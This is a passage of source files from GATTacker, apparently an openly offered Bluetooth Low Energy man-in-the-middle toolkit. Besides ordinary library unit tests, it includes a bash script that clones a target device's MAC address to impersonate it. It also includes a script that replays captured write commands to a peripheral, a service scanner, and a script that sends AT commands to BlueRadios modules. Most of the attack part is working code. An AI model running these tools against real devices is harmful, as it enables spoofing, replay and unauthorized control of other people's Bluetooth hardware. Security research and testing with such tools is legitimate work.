characteristic.unsubscribe(); 194 | 195 | mockNoble.notify.calledWithExactly(mockPeripheralId, mockServiceUuid, mockUuid, false).should.equal(true); 196 | }); 197 | 198 | it('should callback', function() { 199 | var calledback = false; 200 | 201 | characteristic.unsubscribe(function() { 202 | calledback = true; 203 | }); 204 | characteristic.emit('notify'); 205 | 206 | calledback.should.equal(true); 207 | }); 208 | }); 209 | 210 | describe('discoverDescriptors', function() { 211 | it('should delegate to noble', function() { 212 | characteristic.discoverDescriptors(); 213 | 214 | mockNoble.discoverDescriptors.calledWithExactly(mockPeripheralId, mockServiceUuid, mockUuid).should.equal(true); 215 | }); 216 | 217 | it('should callback', function() { 218 | var calledback = false; 219 | 220 | characteristic.discoverDescriptors(function() { 221 | calledback = true; 222 | }); 223 | characteristic.emit('descriptorsDiscover'); 224 | 225 | calledback.should.equal(true); 226 | }); 227 | 228 | it('should callback with descriptors', function() { 229 | var mockDescriptors = []; 230 | var callbackDescriptors = null; 231 | 232 | characteristic.discoverDescriptors(function(error, descriptors) { 233 | callbackDescriptors = descriptors; 234 | }); 235 | characteristic.emit('descriptorsDiscover', mockDescriptors); 236 | 237 | callbackDescriptors.should.equal(mockDescriptors); 238 | }); 239 | }); 240 | }); 241 | -------------------------------------------------------------------------------- /lib/noble/test/test-descriptor.js: -------------------------------------------------------------------------------- 1 | var should = require('should'); 2 | var sinon = require('sinon'); 3 | 4 | var Descriptor = require('../lib/descriptor'); 5 | 6 | describe('Descriptor', function() { 7 | var mockNoble = null; 8 | var mockPeripheralId = 'mock-peripheral-id'; 9 | var mockServiceUuid = 'mock-service-uuid'; 10 | var mockCharacteristicUuid = 'mock-characteristic-uuid'; 11 | var mockUuid = 'mock-uuid'; 12 | 13 | var descriptor = null; 14 | 15 | beforeEach(function() { 16 | mockNoble = { 17 | readValue: sinon.spy(), 18 | writeValue: sinon.spy() 19 | }; 20 | 21 | descriptor = new Descriptor(mockNoble, mockPeripheralId, mockServiceUuid, mockCharacteristicUuid, mockUuid); 22 | }); 23 | 24 | afterEach(function() { 25 | descriptor = null; 26 | }); 27 | 28 | it('should have a uuid', function() { 29 | descriptor.uuid.should.equal(mockUuid); 30 | }); 31 | 32 | it('should lookup name and type by uuid', function() { 33 | descriptor = new Descriptor(mockNoble, mockPeripheralId, mockServiceUuid, mockCharacteristicUuid, '2900'); 34 | 35 | descriptor.name.should.equal('Characteristic Extended Properties'); 36 | descriptor.type.should.equal('org.bluetooth.descriptor.gatt.characteristic_extended_properties'); 37 | }); 38 | 39 | describe('toString', function() { 40 | it('should be uuid, name, type', function() { 41 | descriptor.toString().should.equal('{"uuid":"mock-uuid","name":null,"type":null}'); 42 | }); 43 | }); 44 | 45 | describe('readValue', function() { 46 | it('should delegate to noble', function() { 47 | descriptor.readValue(); 48 | 49 | mockNoble.readValue.calledWithExactly(mockPeripheralId, mockServiceUuid, mockCharacteristicUuid, mockUuid).should.equal(true); 50 | }); 51 | 52 | it('should callback', function() { 53 | var calledback = false; 54 | 55 | descriptor.readValue(function() { 56 | calledback = true; 57 | }); 58 | descriptor.emit('valueRead'); 59 | 60 | calledback.should.equal(true); 61 | }); 62 | 63 | it('should not call callback twice', function() { 64 | var calledback = 0; 65 | 66 | descriptor.readValue(function() { 67 | calledback += 1; 68 | }); 69 | descriptor.emit('valueRead'); 70 | descriptor.emit('valueRead'); 71 | 72 | calledback.should.equal(1); 73 | }); 74 | 75 | it('should callback with error, data', function() { 76 | var mockData = new Buffer(0); 77 | var callbackData = null; 78 | 79 | descriptor.readValue(function(error, data) { 80 | callbackData = data; 81 | }); 82 | descriptor.emit('valueRead', mockData); 83 | 84 | callbackData.should.equal(mockData); 85 | }); 86 | }); 87 | 88 | describe('writeValue', function() { 89 | var mockData = null; 90 | 91 | beforeEach(function() { 92 | mockData = new Buffer(0); 93 | }); 94 | 95 | it('should only accept data as a buffer', function() { 96 | mockData = {}; 97 | 98 | (function(){ 99 | descriptor.writeValue(mockData); 100 | }).should.throwError('data must be a Buffer'); 101 | }); 102 | 103 | it('should delegate to noble', function() { 104 | descriptor.writeValue(mockData); 105 | 106 | mockNoble.writeValue.calledWithExactly(mockPeripheralId, mockServiceUuid, mockCharacteristicUuid, mockUuid, mockData).should.equal(true); 107 | }); 108 | 109 | it('should callback', function() { 110 | var calledback = false; 111 | 112 | descriptor.writeValue(mockData, function() { 113 | calledback = true; 114 | }); 115 | descriptor.emit('valueWrite'); 116 | 117 | calledback.should.equal(true); 118 | }); 119 | 120 | it('should not call callback twice', function() { 121 | var calledback = 0; 122 | 123 | descriptor.writeValue(mockData, function() { 124 | calledback += 1; 125 | }); 126 | descriptor.emit('valueWrite'); 127 | descriptor.emit('valueWrite'); 128 | 129 | calledback.should.equal(1); 130 | }); 131 | 132 | }); 133 | }); -------------------------------------------------------------------------------- /lib/noble/test/test-service.js: -------------------------------------------------------------------------------- 1 | var should = require('should'); 2 | var sinon = require('sinon'); 3 | 4 | var Service = require('../lib/service'); 5 | 6 | describe('service', function() { 7 | var mockNoble = null; 8 | var mockPeripheralId = 'mock-peripheral-id'; 9 | var mockUuid = 'mock-uuid'; 10 | 11 | var service = null; 12 | 13 | beforeEach(function() { 14 | mockNoble = { 15 | discoverIncludedServices: sinon.spy(), 16 | discoverCharacteristics: sinon.spy() 17 | }; 18 | 19 | service = new Service(mockNoble, mockPeripheralId, mockUuid); 20 | }); 21 | 22 | afterEach(function() { 23 | service = null; 24 | }); 25 | 26 | it('should have a uuid', function() { 27 | service.uuid.should.equal(mockUuid); 28 | }); 29 | 30 | it('should lookup name and type by uuid', function() { 31 | service = new Service(mockNoble, mockPeripheralId, '1800'); 32 | 33 | service.name.should.equal('Generic Access'); 34 | service.type.should.equal('org.bluetooth.service.generic_access'); 35 | }); 36 | 37 | describe('toString', function() { 38 | it('should be uuid, name, type, includedServiceUuids', function() { 39 | service.toString().should.equal('{"uuid":"mock-uuid","name":null,"type":null,"includedServiceUuids":null}'); 40 | }); 41 | }); 42 | 43 | describe('discoverIncludedServices', function() { 44 | it('should delegate to noble', function() { 45 | service.discoverIncludedServices(); 46 | 47 | mockNoble.discoverIncludedServices.calledWithExactly(mockPeripheralId, mockUuid, undefined).should.equal(true); 48 | }); 49 | 50 | it('should delegate to noble, with uuids', function() { 51 | var mockUuids = []; 52 | 53 | service.discoverIncludedServices(mockUuids); 54 | 55 | mockNoble.discoverIncludedServices.calledWithExactly(mockPeripheralId, mockUuid, mockUuids).should.equal(true); 56 | }); 57 | 58 | it('should callback', function() { 59 | var calledback = false; 60 | 61 | service.discoverIncludedServices(null, function() { 62 | calledback = true; 63 | }); 64 | service.emit('includedServicesDiscover'); 65 | 66 | calledback.should.equal(true); 67 | }); 68 | 69 | it('should callback with data', function() { 70 | var mockIncludedServiceUuids = []; 71 | var callbackIncludedServiceUuids = null; 72 | 73 | service.discoverIncludedServices(null, function(error, includedServiceUuids) { 74 | callbackIncludedServiceUuids = includedServiceUuids; 75 | }); 76 | service.emit('includedServicesDiscover', mockIncludedServiceUuids); 77 | 78 | callbackIncludedServiceUuids.should.equal(mockIncludedServiceUuids); 79 | }); 80 | }); 81 | 82 | describe('discoverCharacteristics', function() { 83 | it('should delegate to noble', function() { 84 | service.discoverCharacteristics(); 85 | 86 | mockNoble.discoverCharacteristics.calledWithExactly(mockPeripheralId, mockUuid, undefined).should.equal(true); 87 | }); 88 | 89 | it('should delegate to noble, with uuids', function() { 90 | var mockUuids = []; 91 | 92 | service.discoverCharacteristics(mockUuids); 93 | 94 | mockNoble.discoverCharacteristics.calledWithExactly(mockPeripheralId, mockUuid, mockUuids).should.equal(true); 95 | }); 96 | 97 | it('should callback', function() { 98 | var calledback = false; 99 | 100 | service.discoverCharacteristics(null, function() { 101 | calledback = true; 102 | }); 103 | service.emit('characteristicsDiscover'); 104 | 105 | calledback.should.equal(true); 106 | }); 107 | 108 | it('should callback with data', function() { 109 | var mockCharacteristics = []; 110 | var callbackCharacteristics = null; 111 | 112 | service.discoverCharacteristics(null, function(error, mockCharacteristics) { 113 | callbackCharacteristics = mockCharacteristics; 114 | }); 115 | service.emit('characteristicsDiscover', mockCharacteristics); 116 | 117 | callbackCharacteristics.should.equal(mockCharacteristics); 118 | }); 119 | }); 120 | }); -------------------------------------------------------------------------------- /lib/noble/with-bindings.js: -------------------------------------------------------------------------------- 1 | var Noble = require('./lib/noble'); 2 | 3 | module.exports = function(bindings) { 4 | return new Noble(bindings); 5 | }; 6 | -------------------------------------------------------------------------------- /lib/utils.js: -------------------------------------------------------------------------------- 1 | var fs = require('fs'); 2 | var glob = require('glob'); 3 | var debug = require('debug')('utils') 4 | 5 | //display only readable chars (ascii 31-127) 6 | function hex2a(hex) { 7 | var str = ''; 8 | if (hex){ 9 | var hexstr = hex.toString('ascii');//force conversion 10 | for (var i = 0; i < hexstr.length; i += 2) { 11 | //we will display only readable chars 12 | var intChar = parseInt(hexstr.substr(i,2),16); 13 | if ((intChar > 31) & (intChar < 127)) { 14 | str += String.fromCharCode(intChar); 15 | } 16 | else { 17 | str += " "; 18 | } 19 | } 20 | } 21 | return str; 22 | } 23 | 24 | function printAdvertisement(peripheralId, address, addressType, connectable, advertisement, rssi, isRefreshed) { 25 | 26 | if (!isRefreshed) { 27 | console.log('peripheral discovered (' + peripheralId + 28 | ' with address <' + address + ', ' + addressType + '>,' + 29 | ' connectable ' + connectable + ',' + 30 | ' RSSI ' + rssi + ':'); 31 | } else { 32 | console.log('refreshed advertisement for ' + peripheralId + ' (' + advertisement.localName +')'); 33 | } 34 | 35 | if (address.substring(0,8) === 'ec:fe:7e') { 36 | console.log('BlueRadios MAC address - check AT commands service by blueRadiosCmd script!'.red) 37 | } 38 | if (advertisement.localName) { 39 | console.log('\tName: ' + advertisement.localName); 40 | } 41 | if (advertisement.eir){ 42 | console.log('\tEIR: ' + advertisement.eir.toString('hex') + ' (' + hex2a(advertisement.eir.toString('hex'))+')'); 43 | } 44 | if (advertisement.scanResponse){ 45 | console.log('\tScan response: ' + advertisement.scanResponse.toString('hex') + ' (' + hex2a(advertisement.scanResponse.toString('hex'))+')'); 46 | } 47 | console.log(); 48 | } 49 | 50 | function checkAdvertisement(peripheralId, advertisement, callback){ 51 | 52 | var sameFound=false; 53 | var eirString = null; 54 | var scanResponseString = null; 55 | 56 | if (advertisement.eir) { 57 | eirString = advertisement.eir.toString('hex') 58 | } 59 | if (advertisement.scanResponse) { 60 | scanResponseString = advertisement.scanResponse.toString('hex'); 61 | } 62 | 63 | glob("devices/"+peripheralId+"*.adv.json", {}, function (err, files) { 64 | 65 | if (files.length > 0) { //device previously advertised, check if the advertisement changed 66 | //check each file - rewrite to async 67 | for (var i in files) { 68 | debug('checking file: ' + files[i]); 69 | //ugly sync - rewrite ;) 70 | var dataBuf = fs.readFileSync(files[i]); 71 | dataStr = dataBuf.toString('ascii'); 72 | data = JSON.parse(dataStr); 73 | 74 | if ((eirString === data.eir) && (scanResponseString === data.scanResponse)) { 75 | debug(' -- same advertisement'); 76 | sameFound=true; 77 | callback('same'); 78 | } 79 | } 80 | 81 | if (!sameFound) { 82 | debug(' -- refreshed advertisement'); 83 | callback('refreshed') 84 | } 85 | 86 | } else { //not yet spotted 87 | callback('new'); 88 | } 89 | 90 | }) 91 | } 92 | 93 | 94 | function saveAdvertisement(peripheralId, address, addressType, connectable, advertisement, rssi) { 95 | 96 | checkAdvertisement(peripheralId, advertisement, function(newAdv){ 97 | if (newAdv === 'same' ) { 98 | console.log('already saved advertisement for ' + peripheralId + ' (' + advertisement.localName +')'); 99 | //no-op 100 | return 101 | } else { 102 | //keep buffers as hex strings (by default buffers stringify unreadable into json) 103 | advToJson = { 104 | id: peripheralId, 105 | eir: advertisement.eir ? advertisement.eir.toString('hex') : '', 106 | scanResponse: advertisement.scanResponse ? advertisement.scanResponse.toString('hex') : null, 107 | decodedNonEditable : { 108 | localName: advertisement.localName ? advertisement.localName : '', 109 | manufacturerDataHex: advertisement.manufacturerData ? advertisement.manufacturerData.toString('hex') : null, 110 | manufacturerDataAscii: advertisement.manufacturerData ? hex2a(advertisement.manufacturerData.toString('hex')) : null, 111 | serviceData: advertisement.serviceData, 112 | serviceUuids: advertisement.serviceUuids 113 | } 114 | } 115 | deviceNameToFile=''; 116 | if (advertisement.localName) { 117 | deviceNameToFile = advertisement.localName.replace(/[^a-zA-Z0-9]+/g, "-"); 118 | } 119 | 120 | if (newAdv === 'new') { 121 | printAdvertisement(peripheralId, address, addressType, connectable, advertisement, rssi ,false); 122 | fileName = 'devices/'+peripheralId+'_'+ deviceNameToFile +'.adv.json'; 123 | } else { 124 | printAdvertisement(peripheralId, address, addressType, connectable, advertisement, rssi,true); 125 | 126 | var date=new Date(); 127 | var year = date.getFullYear(); 128 | var month = date.getMonth() + 1; 129 | month = (month < 10 ? "0" : "") + month; 130 | var day = date.getDate(); 131 | day = (day < 10 ? "0" : "") + day; 132 | var hour = date.getHours(); 133 | hour = (hour < 10 ? "0" : "") + hour; 134 | var min = date.getMinutes(); 135 | min = (min < 10 ? "0" : "") + min; 136 | var sec = date.getSeconds(); 137 | sec = (sec < 10 ? "0" : "") + sec; 138 | 139 | fileName = 'devices/'+peripheralId+'_'+ deviceNameToFile +'.'+year+month+day+hour+min+sec+'.adv.json'; 140 | } 141 | 142 | fs.writeFile(fileName, JSON.stringify(advToJson, null, 4), function(err) { 143 | if(err) { 144 | return console.log(err); 145 | } 146 | console.log("advertisement saved: "+ fileName ); 147 | }); 148 | 149 | } 150 | }) 151 | 152 | } 153 | 154 | 155 | 156 | module.exports.hex2a=hex2a 157 | module.exports.checkAdvertisement=checkAdvertisement; 158 | module.exports.saveAdvertisement=saveAdvertisement; -------------------------------------------------------------------------------- /mac_adv: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Advertise with cloned MAC address" 4 | 5 | BDADDR=helpers/bdaddr/bdaddr 6 | 7 | . ./config.env 8 | 9 | HCIDEV="hci$BLENO_HCI_DEVICE_ID" 10 | 11 | if [ $# -lt 2 ]; then 12 | echo "Usage: sudo $0 -a [ -s ] " 13 | exit 14 | fi 15 | 16 | TARGETID=`echo $2 |cut -d "/" -f 2 | cut -d "_" -f 1` 17 | 18 | TARGETMAC=`echo $TARGETID | fold -w2 | paste -sd':' - | tr '[a-z]' '[A-Z]'` 19 | 20 | HCIMAC=`hciconfig $HCIDEV |grep "Address" | cut -d" " -f 3` 21 | 22 | # case-insensitive - bash 4: 23 | while [ "${HCIMAC,,}" != "${TARGETMAC,,}" ]; do 24 | hciconfig $HCIDEV up 25 | $BDADDR -i $HCIDEV $TARGETMAC; 26 | echo "Re-plug the interface and hit enter"; 27 | read 28 | hciconfig $HCIDEV up 29 | HCIMAC=`hciconfig $HCIDEV |grep "Address" | cut -d" " -f 3` 30 | echo "Current MAC: $HCIMAC" 31 | done 32 | hciconfig $HCIDEV up 33 | 34 | node advertise $1 $2 $3 $4 35 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "gattacker", 3 | "version": "0.2.1", 4 | "description": "GATTacker", 5 | "author": "Slawomir Jasek ", 6 | "repository": { 7 | "type": "git", 8 | "url": "https://github.com/securing/gattacker" 9 | }, 10 | "main": "advertise.js", 11 | "scripts": { 12 | "advertise": "node advertise.js", 13 | "scan": "node scan.js", 14 | "ws-slave": "node ws-slave.js" 15 | }, 16 | "keywords": [ 17 | "bluetooth", 18 | "BLE", 19 | "bluetooth low energy", 20 | "bluetooth smart", 21 | "MITM", 22 | "man in the middle", 23 | "debug", 24 | "proxy" 25 | ], 26 | "os": [ 27 | "linux" 28 | ], 29 | "license": "MIT", 30 | "dependencies": { 31 | "async": "^2.0.1", 32 | "bluetooth-hci-socket" : "^0.4.3", 33 | "bplist-parser": "^0.0.6", 34 | "colors": "^1.1.2", 35 | "debug": "^2.6.9", 36 | "env2": "^2.1.0", 37 | "glob": "^7.0.5", 38 | "ws": "^1.1.1", 39 | "node-getopt" : "^0.2.3" 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /replay.js: -------------------------------------------------------------------------------- 1 | require('env2')('config.env'); 2 | 3 | var debug = require('debug')('replay'); 4 | var fs = require('fs'); 5 | var util = require('util'); 6 | var utils = require('./lib/utils') 7 | var path=require('path'); 8 | var events = require('events'); 9 | var getopt = require('node-getopt'); 10 | var async = require('async'); 11 | 12 | var options = new getopt([ 13 | ['i' , 'input=FILE' , 'input file'], 14 | ['s' , 'services=FILE' , 'services json input file'], 15 | ['p' , 'peripheral=MAC' , 'target peripheral MAC'], 16 | ['h' , 'help' , 'display this help'], 17 | ]); 18 | options.setHelp("Usage: node replay -i -p [ -s ]\n[[OPTIONS]]" ) 19 | 20 | opt=options.parseSystem(); 21 | 22 | if ( !opt.options.input || !opt.options.peripheral) { 23 | console.info(options.getHelp()); 24 | process.exit(0); 25 | } 26 | var peripheralId = opt.options.peripheral; 27 | 28 | if (opt.options.services) { 29 | if (opt.options.services.indexOf('.srv.json') > -1 ) { 30 | servicesFile=opt.options.services; 31 | } else { 32 | servicesFile=opt.options.services + '.srv.json'; 33 | } 34 | } else { 35 | var devicesPath=process.env.DEVICES_PATH; 36 | servicesFile = devicesPath+ '/'+peripheralId+'.srv.json'; 37 | } 38 | 39 | var services = JSON.parse(fs.readFileSync(servicesFile, 'utf8')); 40 | var waiting = false; 41 | 42 | var wsclient = require('./lib/ws-client'); 43 | 44 | var inputData = fs.createReadStream(opt.options.input,'utf8'); 45 | 46 | 47 | function readLines(input, func) { 48 | var remaining = ''; 49 | 50 | input.on('data', function(data) { 51 | remaining += data; 52 | var index = remaining.indexOf('\n'); 53 | var last = 0; 54 | while (index > -1) { 55 | var line = remaining.substring(last, index); 56 | last = index + 1; 57 | func(line); 58 | index = remaining.indexOf('\n', last); 59 | } 60 | 61 | remaining = remaining.substring(last); 62 | }); 63 | 64 | input.on('end', function() { 65 | if (remaining.length > 0) { 66 | func(remaining); 67 | } 68 | }); 69 | } 70 | 71 | function parse(line) { 72 | 73 | if(waiting) {//we want it to match 74 | console.log('LINE: ' + line); 75 | setTimeout(parse(line), 500);//wait 50 millisecnds then recheck 76 | return; 77 | } 78 | 79 | var arr=line.split('|'); 80 | var operator = arr[1].trim(); 81 | var serviceUuid = arr[2].trim().split(' ')[0]; //split(' ') to remove optional description 82 | var uuid = arr[3].trim().split(' ')[0]; 83 | var data = arr[4].trim().split(' ')[0]; 84 | 85 | switch(operator) { 86 | case '< W' : console.log('WRITE REQ: '.blue + data ); 87 | wsclient.write(peripheralId, serviceUuid, uuid, new Buffer(data,'hex'), true , function(error) { 88 | if (error){ 89 | console.log('------ Write error: '.red); 90 | throw(error); 91 | } 92 | }); break; 93 | case '< C' : console.log('WRITE CMD: '.blue + data ); 94 | wsclient.write(peripheralId, serviceUuid, uuid, new Buffer(data,'hex'), false , function(error) { 95 | if (error){ 96 | console.log('------ Write error: '.red); 97 | throw(error); 98 | } 99 | }); break; 100 | 101 | case '> R' : console.log('READ: '.grey + data + ' --- skip'); 102 | break 103 | case '> N' : console.log('NOTIFICATION: '.grey + data + ' --- skip'); 104 | break 105 | } 106 | 107 | } 108 | 109 | //wait for the ws connection 110 | wsclient.on('ws_open', function(){ 111 | wsclient.getMac(function(address){ 112 | myAddress = address; 113 | console.log('Noble MAC address : ' + myAddress); 114 | }) 115 | wsclient.initialize(peripheralId, services, true, function(){ 116 | console.log('initialized !'); 117 | readLines(inputData,parse); 118 | }) 119 | }); 120 | -------------------------------------------------------------------------------- /scan.js: -------------------------------------------------------------------------------- 1 | require('env2')('config.env'); 2 | 3 | var wsclient = require('./lib/ws-client'); 4 | var fs = require('fs'); 5 | var utils = require('./lib/utils') 6 | var events = require('events') 7 | var util = require('util'); 8 | var async = require('async'); 9 | var fs = require('fs'); 10 | var debug = require('debug')('explore'); 11 | var getopt = require('node-getopt'); 12 | 13 | var options = new getopt([ 14 | ['a' , 'no-advertisements' , 'do not save advertisements (default: save)'], 15 | ['r' , 'no-read' , 'do not read characteristics values (default: read), helpful when device requires auth and service exploring stalls'], 16 | ['o' , 'overwrite' , 'overwrite peripheral services file'], 17 | ['f' , 'funmode' , 'have fun!'], 18 | ['' , 'jk' , 'see http://xkcd.com/1692'], 19 | ['h' , 'help' , 'display this help'], 20 | ]); 21 | options.setHelp('Usage: node scan [ -a ] [ -r ] [ peripheral ]\n' + 22 | 'peripheral - optional peripheral device do explore services (MAC address e.g. ec:fe:7e:12:34:56 or id e.g. ecfe7e123456). If not provided, broadcast advertisement scan.' + 23 | 'Command-line options:\n[[OPTIONS]]' ) 24 | 25 | opt=options.parseSystem(); 26 | 27 | if (opt.options.help) { 28 | options.showHelp() 29 | process.exit(0) 30 | } 31 | 32 | if (opt.options.funmode) { 33 | console.log('>>>>>>>>>>>>>>>>> MAY THE FUN BE WITH YOU! <<<<<<<<<<<<<<<<<<'.rainbow.inverse) 34 | } 35 | 36 | if (opt.argv.length > 0) { 37 | var specifiedPeripheral = opt.argv[0].replace(/:/g,'').toLowerCase(); 38 | } 39 | 40 | var devicesPath=process.env.DEVICES_PATH; 41 | var scanOrExplore = ''; 42 | var peripherals=[]; 43 | var saveAdvertisements=true; 44 | var readValues=true; 45 | var overWriteServices=false; 46 | 47 | if (opt.options["no-advertisements"]) { 48 | console.log('Not saving advertisement discovery.'); 49 | saveAdvertisements=false; 50 | } 51 | 52 | if (opt.options["no-read"]) { 53 | console.log('Not reading characteristic values.') 54 | readValues=false; 55 | } 56 | 57 | if (opt.options.overwrite) { 58 | console.log('Overwrite services file if exists.'); 59 | overWriteServices=true; 60 | } 61 | 62 | 63 | function exploreSpecified(peripheralId) { 64 | 65 | checkFile(peripheralId, function(exists){ 66 | if (!exists) { 67 | console.log('Start to explore ' + peripheralId) 68 | wsclient.explore(peripheralId, readValues); 69 | } else { 70 | console.log('Services file for ' + peripheralId + ' already saved, skipping. Use -o option to overwrite.'); 71 | } 72 | }) 73 | 74 | } 75 | 76 | //check if the services file exists 77 | function checkFile(peripheralId, callback) { 78 | if (overWriteServices) { 79 | callback(false); 80 | } else { 81 | fs.stat(devicesPath + '/' + peripheralId + '.srv.json', function(err, stat) { 82 | if(err == null) { 83 | callback(true); 84 | // console.log('File exists'); 85 | } else { 86 | callback(false) 87 | } 88 | }); 89 | } 90 | } 91 | 92 | 93 | wsclient.on('stateChange', function(state) { 94 | if (state === 'poweredOn') { 95 | if (specifiedPeripheral) { 96 | console.log('Start exploring ' + specifiedPeripheral); 97 | exploreSpecified(specifiedPeripheral) 98 | } else { 99 | console.log('Start scanning.'); 100 | wsclient.startScanning(); 101 | } 102 | } else if (state === 'unknown') { 103 | console.log('state unknown - waiting...') 104 | } else { 105 | wsclient.stopScanning(); 106 | } 107 | }); 108 | 109 | 110 | wsclient.on('discover', function(peripheralId, address, addressType, connectable, advertisement, rssi) { 111 | 112 | if (saveAdvertisements) { 113 | utils.saveAdvertisement(peripheralId, address, addressType, connectable, advertisement, rssi); 114 | } 115 | 116 | if (!peripherals[peripheralId]) { 117 | peripherals[peripheralId] = { explored: false, triedToExplore: false}; 118 | } 119 | 120 | }) 121 | 122 | 123 | wsclient.on('explore', function(peripheralId, state, servicesJson){ 124 | 125 | console.log('explore state: ' + peripheralId + ' : ' + state); 126 | if(state === 'finished') { 127 | 128 | var filename = devicesPath+'/'+peripheralId+'.srv.json'; 129 | 130 | fs.writeFile(filename, JSON.stringify(servicesJson, null, 4), function(err) { 131 | if(err) { 132 | return console.log(err); 133 | } 134 | console.log("Services file "+ filename +" saved!"); 135 | if (peripheralId === specifiedPeripheral) { 136 | process.exit(0); 137 | } 138 | 139 | }); 140 | } 141 | }) 142 | -------------------------------------------------------------------------------- /standalone/blueRadiosCmd.js: -------------------------------------------------------------------------------- 1 | // BlueRadios BLE AT interface 2 | // For AT commands reference: 3 | // https://github.com/ideo-digital-shop/ble-arduino/tree/master/documentation/docs 4 | 5 | require('env2')('../config.env'); 6 | 7 | if (process.argv.length < 3) { 8 | console.log('Usage: node ' + process.argv[1] + ' '); 9 | process.exit(0); 10 | } 11 | 12 | var peripheralId = process.argv[2].toLowerCase(); 13 | 14 | var wsclient = require('../lib/ws-client.js') 15 | var colors=require('colors'); 16 | 17 | var blueRadiosService = 'da2b84f1627948debdc0afbea0226079'; 18 | var blueRadiosCmdCharacteristic = 'a87988b9694c479c900e95dfa6c00a24'; 19 | var blueRadiosRxCharacteristic = '18cda7844bd3437085bbbfed91ec86af'; 20 | var blueRadiosTxCharacteristic = 'bf03260c72054c25af4393b1c299d159'; 21 | 22 | 23 | console.log('start'); 24 | 25 | var stdin = process.openStdin(); 26 | 27 | //listen for command-line parameters from console 28 | stdin.addListener("data", function(d) { 29 | blueRadiosAT(d.toString().trim()); 30 | }); 31 | 32 | 33 | wsclient.on('ws_open', function(){ 34 | //param: peripheralId 35 | wsclient.initialize(peripheralId, '', true, function(){ 36 | console.log('Initialized!') 37 | // it will not wait for the connection 38 | wsclient.clientConnection('00:00:00:00:00:00', true); 39 | //battery level 40 | //blueRadiosAT('ATBL?'); 41 | checkLocked(); 42 | }); 43 | }) 44 | 45 | wsclient.on('explore', function(peripheralId, state, servicesJson){ 46 | 47 | console.log('explore state: ' + peripheralId + ' : ' + state); 48 | if(state === 'finished') { 49 | checkServices(servicesJson); 50 | } 51 | }) 52 | 53 | 54 | //check if the device has blueRadios service/characteristics 55 | function checkServices(servicesJson) { 56 | //console.log(util.inspect(servicesJson)) 57 | for (serviceId in servicesJson) { 58 | service=servicesJson[serviceId] 59 | if (service.uuid === blueRadiosService) { 60 | console.log('BlueRadios service UUID found!') 61 | //check for characteristics? 62 | return true; 63 | } 64 | } 65 | } 66 | 67 | 68 | function readName(){ 69 | wsclient.read('1800','2a00', function(data) { 70 | console.log('Device name: ' + data); 71 | }); 72 | } 73 | 74 | 75 | function checkLocked(){ 76 | console.log('ATSCL? - check if the service is locked : 0 = unlocked'); 77 | blueRadiosAT('ATSCL?'); 78 | } 79 | 80 | 81 | //command - string 82 | function blueRadiosAT(command){ 83 | if (! wsclient.listeners('notification').length) { 84 | console.log('subscribe to RX notification'); 85 | //listen for notification response 86 | wsclient.on('notification', function(peripheralId, serviceUuid, characteristicUuid, data) { 87 | // console.log("NOTIFICATION: " + data.toString('hex') + ' : ' + data.toString('ascii').yellow); 88 | console.log(data.toString('ascii').trim().yellow); 89 | }); 90 | } 91 | 92 | //convert command to hex, add CR (0x0d = \r) at the end 93 | var hexCommand = new Buffer(command + '\r','ascii'); 94 | 95 | wsclient.notify(peripheralId, blueRadiosService,blueRadiosRxCharacteristic,true, function() { 96 | wsclient.write(peripheralId, blueRadiosService,blueRadiosCmdCharacteristic, new Buffer('02','hex'), false, function(error) { 97 | console.log('Switch to CMD mode'); 98 | wsclient.write(peripheralId, blueRadiosService, blueRadiosTxCharacteristic, hexCommand, false, function(){ 99 | console.log('sent CMD: ' + command.cyan); 100 | }) 101 | }) 102 | }); 103 | } 104 | 105 | --------------------------------------------------------------------------------